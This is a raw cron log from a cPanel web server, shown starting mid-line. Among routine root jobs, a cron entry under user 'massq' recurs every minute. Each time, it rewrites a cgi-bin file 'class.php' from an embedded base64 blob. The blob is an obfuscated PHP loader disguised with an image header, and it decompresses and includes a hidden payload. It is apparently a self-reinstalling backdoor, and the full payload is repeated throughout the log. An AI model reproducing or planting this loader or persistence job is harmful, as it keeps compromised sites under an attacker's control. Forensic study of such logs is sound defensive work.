BdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:01:01 server CROND[12745]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 06:01:01 server run-parts(/etc/cron.hourly)[12745]: starting 0anacron
Aug 31 06:01:01 server run-parts(/etc/cron.hourly)[12766]: finished 0anacron
Aug 31 06:02:01 server CROND[13132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:02:01 server CROND[13133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:02:01 server CROND[13134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:03:01 server CROND[13519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:03:01 server CROND[13520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:03:01 server CROND[13522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:04:01 server CROND[13893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:04:01 server CROND[13894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:04:01 server CROND[13895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:05:01 server CROND[14385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:05:01 server CROND[14386]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:05:01 server CROND[14395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:05:01 server CROND[14405]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:05:01 server CROND[14406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:05:01 server CROND[14403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:05:01 server CROND[14407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:05:01 server CROND[14404]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 06:06:01 server CROND[15223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:06:01 server CROND[15224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:06:01 server CROND[15222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:07:01 server CROND[15594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:07:01 server CROND[15595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:07:01 server CROND[15596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:08:01 server CROND[16042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:08:01 server CROND[16041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:08:01 server CROND[16043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:09:01 server CROND[16415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:09:01 server CROND[16416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:09:01 server CROND[16417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:09:01 server CROND[16418]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 06:10:01 server CROND[16890]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:10:01 server CROND[16892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:10:01 server CROND[16893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:10:01 server CROND[16894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:10:01 server CROND[16899]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:10:01 server CROND[16901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:10:01 server CROND[16902]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:10:01 server CROND[16898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:11:01 server CROND[17726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:11:01 server CROND[17727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:11:01 server CROND[17728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:12:01 server CROND[18112]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 06:12:01 server CROND[18113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:12:01 server CROND[18111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:12:01 server CROND[18114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:13:01 server CROND[18481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:13:01 server CROND[18482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
